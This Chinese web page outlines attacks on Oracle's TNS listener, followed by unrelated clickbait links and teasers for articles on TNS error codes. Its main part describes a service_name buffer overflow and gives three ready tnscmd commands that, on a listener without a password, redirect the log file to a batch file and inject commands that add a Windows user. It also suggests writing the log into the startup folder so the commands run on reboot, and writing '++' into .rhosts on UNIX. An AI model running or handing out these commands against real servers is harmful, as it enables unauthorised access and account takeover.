針對Oracle的TNS listener攻擊方法整理

首先,根據版本的不同,TNS listener可能較易受到多種類型的緩沖區溢出攻擊,這些攻擊可以在不提供用戶ID和口令的情況下被利用。例如:在oracle 9i中,當客戶機請求某個過長的service_name時,很容易受到溢出攻擊。當listener爲日志構建錯誤消息之後,service_name的值會被複制到某于棧結構的緩沖區內,從而引起溢出—覆蓋保存值將返回棧中的地址。這種做法可以使攻擊者獲得控制權。事實上,TNS listener曾經有過多次溢出和格式化字符串的漏洞。

其次,另一類攻擊和日志文件有關。只有當未給listener設置口令的時候,攻擊才會有效。

假設某個listener沒有設置口令,攻擊方法如下:

tnscmd -h www.example.com -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))」 將日志目錄設置到C盤

tnscmd -h www.example.com -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))」 將日志文件設置爲test.bat

tnscmd -h www.example.com –rawcmd 「(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))」該命令把

dir >test.txt、net user test test /add命令寫入c:\test.bat文件,由于雙豎線的作用(第一條命令執行失敗後,WINDOWS命令解釋器執行後面的命令)把錯誤的信息注釋掉, 從而可以執行我們提交的命令。

通過設置日志文件到不同的目錄,例如WINDOWS的啓動目錄,當服務器重啓將執行惡意用戶提交的特定代碼,從而對系統造成威脅。

運行于UNIX系統上的oracle也會受到同樣的威脅。其中一種方法就是將「++」回送給.rhost文件,當系統運行時,使用r*services命令。

· 震驚!原來酒駕處罰這麽嚴重

酒駕處罰標准 不要有任何一絲僥幸心理! http://image....

· 把年齡相仿的獅虎熊放一起,誰更厲害?結果出人意料

很多人都想知道獅子、老虎和熊打起來誰最厲害,于是便有好事之人把這三種動物關在一起...

· 湖北宜昌三峽壩區水面驚現神秘動物

近日,湖北宜昌,一段視頻在當地熱傳:有網友在三峽壩區拍到神秘動物,體型碩大數米長...

 
Oracle的TNS-12502錯誤原因及解決方法
問題: 監聽日志中出現錯誤TNS-12502: TNS:listener received no CONNECT_DATA from client (注:客戶端的機器沒有發現問題) 錯誤現象: 1、每隔幾分鍾出現一次上面的錯誤,即使在沒有人使用Oracle的情況下也會出現。...查看完整版>>Oracle的TNS-12502錯誤原因及解決方法
 
講解Oracle數據庫TNS常見錯誤的解決辦法
1、ORA-12541:TNS:沒有監聽器 原因:沒有啓動監聽器或者監聽器損壞。若是前者,使用命令net start OracleOraHome10gTNSListener(名字可能有出入)即可;如果是後者,則使用“Net Configuration Assistant”工具向導之“...查看完整版>>講解Oracle數據庫TNS常見錯誤的解決辦法
 
[Oracle]Oracle錯誤案例:TNS-00510
  TNS-00510 Internal limit restriction exceeded  Cause Too many files or sockets open simultaneously (or some other resource has been depleted).  Action For further details, trace the operation ...查看完整版>>[Oracle]Oracle錯誤案例:TNS-00510
 
oracle開發 TNS-12500的解決過程
  一 環境:    1 平台: HP,2G內存 windows 2k advServer sp3 + Oracle 817 獨占模式    2 內存分配相關參數    ..processes................=.350  ..shared_pool_size.........=.314572800 ...查看完整版>>oracle開發 TNS-12500的解決過程
 
案例學習Oracle錯誤:TNS-00510
    TNS-00510 Internal limit restriction exceeded  Cause Too many files or sockets open simultaneously (or some other resource has been  depleted).  Action For further details, trace the ope...查看完整版>>案例學習Oracle錯誤:TNS-00510